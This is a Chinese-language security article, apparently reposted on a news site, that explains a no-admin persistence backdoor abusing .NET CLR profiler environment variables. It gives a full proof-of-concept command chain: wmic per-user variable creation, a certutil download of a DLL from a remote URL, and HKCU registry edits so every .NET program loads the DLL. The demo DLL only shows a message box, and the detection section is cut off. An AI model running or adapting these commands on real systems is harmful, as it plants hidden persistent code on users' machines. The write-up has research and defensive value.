當前位置:
首頁 > 新聞 > 利用CLR實現一種無需管理員許可權的後門

利用CLR實現一種無需管理員許可權的後門

0x00 前言

在之前的文章《Use AppDomainManager to maintain persistence》介紹了通過AppDomainManager實現的一種被動後門觸發機制,演示了如何劫持系統.Net程序powershell_ise.exe,但前提是需要獲得管理員許可權。

這一次將更進一步,介紹一種無需管理員許可權的後門,並能夠劫持所有.Net程序。

0x01 簡介

本文將要介紹以下內容:

· CLR的使用

· 後門開發思路

· POC編寫

· 後門檢測

0x02 CLR的使用

CLR:

全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。

CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:

· 在CLR監視之下運行的程序屬於「託管的」(managed)代碼

· 不在CLR之下、直接在裸機上運行的應用或者組件屬於「非託管的」(unmanaged)的代碼

CLR的使用:

測試系統: Win8 x86

1、啟動cmd

輸入如下代碼:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

註:

可設置為任意數值,只要不和系統常用CLSID衝突就好

2、測試dll

使用彈框dll,下載地址:

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

dll開發過程可參考:

https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

可在cmd下實現直接下載,代碼如下:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

操作如下圖

註:

delete是為了清除下載文件的緩存

更多關於使用certutil.exe下載文件的利用細節可參考文章:《滲透測試中的certutil.exe》

3、操作註冊表

默認路徑改為msg.dll的路徑

修改後的註冊表如下圖

對應cmd代碼如下:

SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4、在當前cmd啟動.net程序

例如powershell.exe,啟動時載入msg.dll,彈框

操作如下圖

注:

使用其他cmd執行powershell.exe不會載入msg.dll

原因:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

當然,執行其他.net程序也會載入msg.dll

測試如下圖

0x03 後門開發思路

由以上測試得出結論,使用CLR能夠劫持所有.Net程序的啟動,但是只能作用於當前cmd

能否作用於全局呢?

自然想到了修改環境變數

通常,修改環境變數使用面板操作的方式,如下圖

能否通過命令行修改環境變數呢?

自然想到了WMI

修改系統變數(需要管理員許可權):

wmic ENVIRONMENT create name="1",username="",VariableValue="1"

修改當前用戶變數(當前用戶許可權):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

註:

通過WMI修改環境變數需要系統重啟或註銷重新登錄才能生效

接下來需要測試,是否只需要修改當前用戶許可權就能夠實現作用於全局,答案是肯定的。

添加當前用戶的環境變數:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""

重啟後,成功修改,如下圖

現在直接啟動.Net程序,彈框,成功載入msg.dll

如下圖

至此,後門思路驗證成功

0x04 POC編寫

對於32位操作系統,參考0x03的代碼就好,x86 POC如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

對應64位系統,需要注意重定向問題,註冊表存在32位和64位兩個位置

注:

點擊展開全文

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

使用 Linux tracepoints,perf以及eBPF跟蹤網路數據包的流程
高危預警!移動設備安全面臨的5大新型威脅

TAG:嘶吼RoarTalk |

您可能感興趣

AMD承諾為安全處理器漏洞安裝固件,所有的bug都需要管理許可權來利用
MySQL資料庫的用戶許可權管理
我是如何利用3個APP實現時間管理的
關於手機應用許可權管理,你可能需要了解一下
單頁面應用的許可權管理
設備管理器許可權遭惡意利用,衍生多種病毒攻擊用戶手機
股權激勵有效實施應當做好三個管理
美軍認為這種作戰、行政管理分立的指揮機制有利於發揮與管理效能,因此一直沿用至今
技術即將徹底變革人才管理,HR是否已經做好準備?
處理問題的能力,是管理者領導力的一種體現
單個業主是否有權起訴物業公司無權收取停車管理費?
華為高管「批判」任正非:很多管理思想只適用於運營商業務,不適用於其他業務
使用TKI治療的CML患者心血管不良反應的管理
巧用App許可權管理 讓你成為個人隱私的「守門人」
蘋果將開放新功能,讓用戶可以更方便的管理個人隱私信息
NBA的罰款最終用在何處?NBA管理層的做法讓所有人心服口服
管理者必須具備這三個預收拾下屬能力,否則就是情商有問題
關於利用Exchange攻擊域管理員許可權的一些建議
領導力是管理者必備技能,但如何提升、如何讓下屬配合你才是關鍵
老闆,您錯了!無效的績效管理不全是HR的錯